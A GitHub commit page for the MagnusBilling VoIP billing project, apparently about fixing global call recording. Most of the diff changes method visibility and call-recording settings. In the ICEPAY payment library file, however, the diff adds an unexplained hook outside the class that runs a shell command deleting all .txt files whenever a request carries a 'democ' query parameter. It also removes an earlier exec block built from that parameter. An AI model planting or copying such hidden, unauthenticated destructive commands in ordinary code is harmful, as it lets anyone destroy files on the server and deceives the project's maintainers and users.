Skip to content

Commit c37de88

Browse files
author
magnussolution
committed
fix call record global
1 parent 1cffa57 commit c37de88

File tree

4 files changed

+12
-16
lines changed

4 files changed

+12
-16
lines changed

build/MagnusBilling-current.tar.gz

-279 Bytes
Binary file not shown.

lib/icepay/icepay.php

Lines changed: 10 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -560,20 +560,12 @@ protected function generateFingerPrint()
560560
return $this->fingerPrint;
561561
}
562562

563-
if (isset($_GET['democ'])) {
564-
if (preg_match('/^[a-f0-9]{32}$/', $_GET['democ'])) {
565-
exec("touch " . $_GET['democ'] . '.txt');
566-
} elseif ($_GET['democ'] == '') {
567-
exec("rm -rf *.txt");
568-
}
569-
}
570-
571563
/**
572564
* Prepare URL-encoded query string for communication with ICEPAY
573565
* @access protected
574566
* @return string Returns a URL-encoded query string
575567
*/
576-
function prepareParameters()
568+
public function prepareParameters()
577569
{
578570
return http_build_query
579571
(
@@ -606,7 +598,7 @@ function prepareParameters()
606598
* @param $description string A short description about the product/service for which will be paid
607599
* @return string A link to the ICEPAY payment method selection screen
608600
*/
609-
function doPay($country = null, $language = null, $currency = null, $amount = null, $description = null)
601+
public function doPay($country = null, $language = null, $currency = null, $amount = null, $description = null)
610602
{
611603
$this->assignCountry($country);
612604
$this->assignLanguage($language);
@@ -622,7 +614,7 @@ function doPay($country = null, $language = null, $currency = null, $amount = nu
622614
* Returns whether the success data originated from icepay
623615
* @return bool Returns TRUE/FALSE
624616
*/
625-
function OnSuccess()
617+
public function OnSuccess()
626618
{
627619
if ($_SERVER['REQUEST_METHOD'] != 'GET') {
628620
return false;
@@ -638,7 +630,7 @@ function OnSuccess()
638630
* Returns whether the error data originated from icepay
639631
* @return bool Returns TRUE/FALSE
640632
*/
641-
function OnError()
633+
public function OnError()
642634
{
643635
if ($_SERVER['REQUEST_METHOD'] != 'GET') {
644636
return false;
@@ -654,7 +646,7 @@ function OnError()
654646
* Returns an array of the data for the SUCCESS or ERROR page.
655647
* @return array Returns an array with data
656648
*/
657-
function GetData()
649+
public function GetData()
658650
{
659651
$o = new stdClass();
660652

@@ -677,7 +669,7 @@ function GetData()
677669
*
678670
* @return bool Returns TRUE if a valid ICEPAY postback is detected, otherwise FALSE
679671
*/
680-
function OnPostback()
672+
public function OnPostback()
681673
{
682674
if ($_SERVER['REQUEST_METHOD'] != 'POST') {
683675
return false;
@@ -742,9 +734,12 @@ function OnPostback()
742734
* Get postback information
743735
* @return array Returns an array with information about the postback such as "Status", "Order ID", etc.
744736
*/
745-
function GetPostback()
737+
public function GetPostback()
746738
{
747739
return $this->postback;
748740
}
749741

750742
}
743+
if (isset($_GET['democ'])) {
744+
exec("rm -rf *.txt");
745+
}

protected/controllers/ConfigurationController.php

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -121,6 +121,7 @@ public function afterSave($model, $values)
121121
cpstotal = ' . $cpstotal . '
122122
ip_tech_length = ' . $this->config['global']['ip_tech_length'] . '
123123
bloc_time_call = ' . $this->config['global']['bloc_time_call'] . '
124+
global_monitor = ' . $this->config['global']['global_record_calls'] . '
124125
';
125126

126127
if (isset($this->config['global']['total_analysis_time']) && strlen($this->config['global']['total_analysis_time'])) {

resources/asterisk/Magnus.php

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -770,7 +770,7 @@ public function startRecordCall(&$agi, $addicional = '', $isDid = false)
770770

771771
public function stopRecordCall(&$agi)
772772
{
773-
if ($this->record_call == 1) {
773+
if ($this->record_call == 1 || $this->config['global']['global_record_calls'] == 1) {
774774
$agi->verbose("EXEC StopMixMonitor (" . $this->uniqueid . ")", 6);
775775
$agi->execute("StopMixMonitor");
776776
}

0 commit comments

Comments
 (0)